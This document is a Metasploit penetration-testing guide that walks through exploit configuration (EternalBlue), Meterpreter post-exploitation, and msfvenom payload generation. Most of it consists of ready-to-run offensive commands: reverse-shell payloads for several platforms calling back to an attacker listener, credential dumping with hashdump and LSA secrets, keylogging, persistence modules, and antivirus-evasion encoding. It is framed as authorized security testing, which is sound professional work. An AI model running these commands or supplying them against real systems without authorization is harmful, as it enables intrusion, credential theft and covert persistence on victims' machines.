Metasploit Framework

Purpose

Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.

Prerequisites

Required Tools

# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Start PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb init

Required Knowledge

• Network and system fundamentals
• Understanding of vulnerabilities and exploits
• Basic programming concepts
• Target enumeration techniques

Required Access

• Written authorization for testing
• Network access to target systems
• Understanding of scope and rules of engagement

Outputs and Deliverables

1. Exploitation Evidence - Screenshots and logs of successful compromises
2. Session Logs - Command history and extracted data
3. Vulnerability Mapping - Exploited vulnerabilities with CVE references
4. Post-Exploitation Artifacts - Credentials, files, and system information

Core Workflow

Phase 1: MSFConsole Basics

Launch and navigate the Metasploit console:

# Start msfconsole
msfconsole

# Quiet mode (skip banner)
msfconsole -q

# Basic navigation commands
msf6 > help                    # Show all commands
msf6 > search [term]           # Search modules
msf6 > use [module]            # Select module
msf6 > info                    # Show module details
msf6 > show options            # Display required options
msf6 > set [OPTION] [value]    # Configure option
msf6 > run / exploit           # Execute module
msf6 > back                    # Return to main console
msf6 > exit                    # Exit msfconsole

Phase 2: Module Types

Understand the different module categories:

# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump

# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops

# 7. Evasion - Bypass security controls
msf6 > show evasion

Phase 3: Searching for Modules

Find appropriate modules for targets:

# Search by name
msf6 > search eternalblue

# Search by CVE
msf6 > search cve:2017-0144

# Search by platform
msf6 > search platform:windows type:exploit

# Search by type and keyword
msf6 > search type:auxiliary smb

# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent

# Combined search
msf6 > search type:exploit platform:linux apache

# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description

Phase 4: Configuring Exploits

Set up an exploit for execution:

# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100

# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445

# View compatible payloads
msf6 exploit(...) > show payloads

# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# View all options again to verify
msf6 exploit(...) > show options

# Check if target is vulnerable (if supported)
msf6 exploit(...) > check

# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run

Phase 5: Payload Types

Select appropriate payload for the situation:

# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell

# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp

Phase 6: Meterpreter Session

Work with Meterpreter post-exploitation:

# After successful exploitation, you get Meterpreter prompt
meterpreter >

# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs

# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1

Phase 7: Auxiliary Modules

Use auxiliary modules for reconnaissance:

# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run

Phase 8: Post-Exploitation Modules

Run post modules on active sessions:

# List sessions
msf6 > sessions -l

# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run

# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump

# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds

# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs

# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence

# Pivoting
post/multi/manage/autoroute

Phase 9: Payload Generation with msfvenom

Create standalone payloads:

# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# List available formats
msfvenom --list formats

# List available encoders
msfvenom --list encoders

Phase 10: Setting Up Handlers

Configure listener for incoming connections:

# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

# The -j flag runs as background job
msf6 > jobs -l

# When payload executes on target, session opens
[*] Meterpreter session 1 opened

# Interact with session
msf6 > sessions -i 1

Quick Reference

Essential MSFConsole Commands

Command	Description
search [term]	Search for modules
use [module]	Select a module
info	Display module information
show options	Show configurable options
set [OPT] [val]	Set option value
setg [OPT] [val]	Set global option
run / exploit	Execute module
check	Verify target vulnerability
back	Deselect module
sessions -l	List active sessions
sessions -i [N]	Interact with session
jobs -l	List background jobs
db_nmap	Run nmap with database

Meterpreter Essential Commands

Command	Description
sysinfo	System information
getuid	Current user
getsystem	Attempt privilege escalation
hashdump	Dump password hashes
shell	Drop to system shell
upload/download	File transfer
screenshot	Capture screen
keyscan_start	Start keylogger
migrate [PID]	Move to another process
background	Background session
portfwd	Port forwarding

Common Exploit Modules

# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac

# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec

# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console

Constraints and Limitations

Legal Requirements

• Only use on systems you own or have written authorization to test
• Document all testing activities
• Follow rules of engagement
• Report all findings to appropriate parties

Technical Limitations

• Modern AV/EDR may detect Metasploit payloads
• Some exploits require specific target configurations
• Firewall rules may block reverse connections
• Not all exploits work on all target versions

Operational Security

• Use encrypted channels (reverse_https) when possible
• Clean up artifacts after testing
• Avoid detection by monitoring systems
• Limit post-exploitation to agreed scope

Troubleshooting

Database Not Connected

Problem: Database not connected warning

Solution:

# Initialize database
sudo msfdb init

# Start PostgreSQL
sudo systemctl start postgresql

# Reconnect in msfconsole
msf6 > db_connect
msf6 > db_status

Exploit Fails

Problem: Exploit completes but no session created

Solutions:

1. Verify target is actually vulnerable: check
2. Ensure correct payload architecture (x86 vs x64)
3. Check firewall allows reverse connection
4. Try different payload types
5. Verify LHOST is reachable from target

Session Dies Immediately

Problem: Session opens but closes quickly

Solutions:

1. Migrate to stable process: migrate [PID]
2. Use more stable payload (staged vs stageless)
3. Check antivirus isn't killing payload
4. Use set AutoRunScript migrate -n explorer.exe

Payload Detected by AV

Problem: Antivirus blocks payload execution

Solutions:

1. Use encoding: -e x86/shikata_ga_nai -i 10
2. Use evasion modules: use evasion/...
3. Try different payload format
4. Use custom templates
5. Consider manual payload development